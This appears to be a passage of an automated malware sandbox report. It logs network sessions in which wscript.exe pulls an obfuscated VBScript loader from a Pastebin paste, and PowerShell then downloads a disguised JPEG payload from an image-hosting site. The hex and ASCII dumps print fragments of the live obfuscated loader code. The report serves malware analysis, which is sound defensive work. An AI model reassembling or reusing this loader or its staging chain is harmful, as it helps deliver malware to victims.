"geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	172.67.19.24	443	7508	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:36:44 UTC	328	OUT	GET /raw/zQdp8jhj HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: pastebin.com Connection: Keep-Alive
2024-05-01 06:36:45 UTC	391	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:36:45 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Tue, 30 Apr 2024 15:15:51 GMT Server: cloudflare CF-RAY: 87cdc24c88a657d3-IAD
2024-05-01 06:36:45 UTC	978	IN	Data Raw: 33 37 39 34 0d 0a 0d 0a 20 20 20 20 20 64 69 6d 20 67 6f 6d 70 68 72 65 6e 61 20 2c 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 2c 20 62 61 72 62 61 72 69 73 6f 6e 61 6e 74 65 20 2c 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 2c 20 67 61 67 75 65 6a 61 72 20 2c 20 43 61 6d 61 20 2c 20 67 61 67 75 65 6a 61 72 31 0d 0a 20 20 20 20 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 3d 20 22 20 20 22 0d 0a 20 20 20 20 20 62 61 72 62 61 72 69 73 6f 6e 61 6e 74 65 20 20 3d 20 22 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 67 42 31 44 67 54 72 65 47 34 44 67 54 72 65 59 77 42 30 44 67 54 72 65 47 6b 44 67 54 72 65 62 77 42 75 44 67 54 72 65 43 44 67 54 72 65 44 Data Ascii: 3794 dim gomphrena , amparamento , barbarisonante , quindecenviral , gaguejar , Cama , gaguejar1 amparamento = " " barbarisonante = "" & quindecenviral & amparamento & quindecenviral & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreD
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 6c 44 67 54 72 65 47 49 44 67 54 72 65 51 77 42 73 44 67 54 72 65 47 6b 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 42 75 44 67 54 72 65 48 51 44 67 54 72 65 4f 77 44 67 54 72 65 67 44 67 54 72 65 43 51 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 44 67 54 72 65 42 76 44 67 54 72 65 48 63 44 67 54 72 65 62 67 42 73 44 67 54 72 65 47 38 44 67 54 72 65 59 51 42 6b 44 67 54 72 65 47 55 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 Data Ascii: lDgTreGIDgTreQwBsDgTreGkDgTre" & quindecenviral & amparamento & quindecenviral & "QBuDgTreHQDgTreOwDgTregDgTreCQDgTre" & quindecenviral & amparamento & quindecenviral & "DgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTre" & quindecenviral & amparamento &
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 49 44 67 54 72 65 44 67 54 72 65 72 44 67 54 72 65 44 30 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 48 63 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 42 69 44 67 54 72 65 45 4d 44 67 54 72 65 62 44 67 54 72 65 42 70 44 67 54 72 65 47 55 44 67 54 72 65 62 67 42 30 44 67 54 72 65 43 34 44 67 54 72 65 52 44 67 54 72 65 42 76 44 67 54 72 65 48 63 44 67 54 72 65 62 67 42 73 44 67 54 72 65 47 38 44 67 54 72 65 59 51 42 6b 44 67 54 72 65 45 51 44 67 54 72 65 59 51 42 30 44 67 54 72 65 47 45 44 67 54 72 65 4b 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 47 77 44 67 54 72 65 61 51 42 75 44 67 54 72 65 47 73 Data Ascii: IDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTre" & quindecenviral & amparamento & quindecenviral & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGs
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 51 42 6e 44 67 54 72 65 47 55 44 67 54 72 65 4c 67 42 71 44 67 54 72 65 48 44 67 54 72 65 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 77 44 67 54 72 65 2f 44 67 54 72 65 44 45 44 67 54 72 65 4e 77 44 67 54 72 65 78 44 67 54 72 65 44 4d 44 67 54 72 65 4f 44 67 54 72 65 44 67 54 72 65 34 44 67 54 72 65 44 49 44 67 54 72 65 4d 44 67 54 72 65 44 67 54 72 65 79 44 67 54 72 65 44 6b 44 67 54 72 65 4a 77 44 67 54 72 65 73 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 77 42 6f 44 67 54 72 65 48 51 44 67 54 72 65 64 44 67 54 72 65 42 77 44 67 54 72 65 48 4d 44 67 54 72 65 4f 67 44 67 54 72 65 76 44 67 54 72 65 43 38 44 67 54 72 65 Data Ascii: QBnDgTreGUDgTreLgBqDgTreHDgTreDgTre" & quindecenviral & amparamento & quindecenviral & "wDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTre
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 6b 44 67 54 72 65 62 51 42 68 44 67 54 72 65 47 63 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 42 43 44 67 54 72 65 48 6b 44 67 54 72 65 64 44 67 54 72 65 42 6c 44 67 54 72 65 48 4d 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 74 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 44 67 54 72 65 67 44 67 54 72 65 43 51 44 67 54 72 65 62 67 42 31 44 67 54 72 65 47 77 44 67 54 72 65 62 44 67 54 72 65 44 67 54 72 65 70 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 65 77 44 67 54 Data Ascii: kDgTrebQBhDgTreGcDgTre" & quindecenviral & amparamento & quindecenviral & "QBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTre" & quindecenviral & amparamento & quindecenviral & "QDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgT
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 45 44 67 54 72 65 44 34 44 67 54 72 65 50 67 44 67 54 72 65 6e 44 67 54 72 65 44 73 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 48 4d 44 67 54 72 65 64 44 67 54 72 65 42 68 44 67 54 72 65 48 49 44 67 54 72 65 64 44 67 54 72 65 42 4a 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 44 67 54 72 65 42 6c 44 67 54 72 65 48 67 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 39 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 44 67 54 72 65 42 70 44 67 54 72 65 47 30 44 67 54 72 65 59 51 42 6e 44 67 54 72 65 47 55 44 67 54 72 65 56 44 67 54 72 65 42 6c 44 67 54 72 65 48 67 44 67 54 72 65 64 44 Data Ascii: EDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTre" & quindecenviral & amparamento & quindecenviral & "DgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredD
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 67 54 72 65 53 51 42 75 44 67 54 72 65 47 51 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 42 34 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4c 51 42 6e 44 67 54 72 65 48 51 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 48 4d 44 67 54 72 65 64 44 67 54 72 65 42 68 44 67 54 72 65 48 49 44 67 54 72 65 64 44 67 54 72 65 42 4a 44 67 54 72 65 47 34 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 44 67 54 72 65 42 6c 44 67 54 72 65 48 67 44 67 54 72 65 4b 51 44 67 54 72 65 67 44 67 54 Data Ascii: gTreSQBuDgTreGQDgTre" & quindecenviral & amparamento & quindecenviral & "QB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTre" & quindecenviral & amparamento & quindecenviral & "DgTreBlDgTreHgDgTreKQDgTregDgT
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 67 54 72 65 43 67 44 67 54 72 65 4a 44 67 54 72 65 42 7a 44 67 54 72 65 48 51 44 67 54 72 65 59 51 42 79 44 67 54 72 65 48 51 44 67 54 72 65 53 51 42 75 44 67 54 72 65 47 51 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 42 34 44 67 54 72 65 43 77 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 47 49 44 67 54 72 65 59 51 42 7a 44 67 54 72 65 47 55 44 67 54 72 65 4e 67 44 67 54 72 65 30 44 67 54 72 65 45 77 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 51 42 75 44 67 54 72 65 47 63 44 Data Ascii: gTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTre" & quindecenviral & amparamento & quindecenviral & "QB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTre" & quindecenviral & amparamento & quindecenviral & "QBuDgTreGcD
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 54 72 65 43 67 44 67 54 72 65 4a 44 67 54 72 65 42 6a 44 67 54 72 65 47 38 44 67 54 72 65 62 51 42 74 44 67 54 72 65 47 45 44 67 54 72 65 62 67 42 6b 44 67 54 72 65 45 49 44 67 54 72 65 65 51 42 30 44 67 54 72 65 47 55 44 67 54 72 65 63 77 44 67 54 72 65 70 44 67 54 72 65 44 73 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 48 51 44 67 54 72 65 65 51 42 77 44 67 54 72 65 47 55 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 39 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 44 67 54 72 65 42 73 44 67 54 72 65 47 38 44 67 54 72 65 59 51 42 6b 44 67 54 72 65 47 55 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 Data Ascii: TreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTre" & quindecenviral & amparamento & quindecenviral & "
2024-05-01 06:36:45 UTC	1369	IN	Data Raw: 72 65 47 38 44 67 54 72 65 22 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 61 6d 70 61 72 61 6d 65 6e 74 6f 20 26 20 71 75 69 6e 64 65 63 65 6e 76 69 72 61 6c 20 26 20 22 77 42 79 44 67 54 72 65 47 45 44 67 54 72 65 62 51 42 45 44 67 54 72 65 47 45 44 67 54 72 65 64 44 67 54 72 65 42 68 44 67 54 72 65 46 77 44 67 54 72 65 4a 77 44 67 54 72 65 67 44 67 54 72 65 43 77 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6e 44 67 54 72 65 47 38 44 67 54 72 65 63 77 42 74 44 67 54 72 65 47 45 44 67 54 72 65 4a 77 44 67 54 72 65 73 44 67 54 72 65 43 63 44 67 54 72 65 55 67 42 6c 44 67 54 72 65 47 63 44 67 54 72 65 51 51 42 7a 44 67 54 72 65 47 30 44 67 54 72 65 4a 77 44 67 54 72 65 73 44 67 54 72 65 43 63 44 67 54 72 65 4a 77 44 67 54 72 65 70 44 67 Data Ascii: reG8DgTre" & quindecenviral & amparamento & quindecenviral & "wByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreG8DgTrecwBtDgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	172.67.215.45	443	8128	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:36:57 UTC	124	OUT	GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1 Host: uploaddeimagens.com.br Connection: Keep-Alive
2024-05-01 06:36:58 UTC	694	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:36:58 GMT Content-Type: image/jpeg Content-Length: 4198361 Connection: close Last-Modified: Tue, 23 Apr 2024 14:20:29 GMT ETag: "6627c3ad-400fd9" Cache-Control: max-age=2678400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lcFxm%2FTZD39A9j9K0GHnHH%2Bjo2b49qH5slXvC7%2F6DJhPNUblY4tmG5SZ4HfeXKb29iuyFMo0CsoN3lJcmAtjeiF17wdnmgIq9D4WK3zpBzxzmIc9T3IVo8xHHyNSpoBTbNfLHPln%2Bsyy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cdc29e7cd29c72-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 06:36:58 UTC	675	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: 95 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 ce 43 Data Ascii: .TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4ApC
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: 25 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b 56 ab Data Ascii: %VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 8e Data Ascii: Tr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: f9 ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d Data Ascii: HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: a4 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 92 76 Data Ascii: RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>imv
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: 90 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca 7a 90 Data Ascii: .f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},z
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: 85 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 23 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSSI#
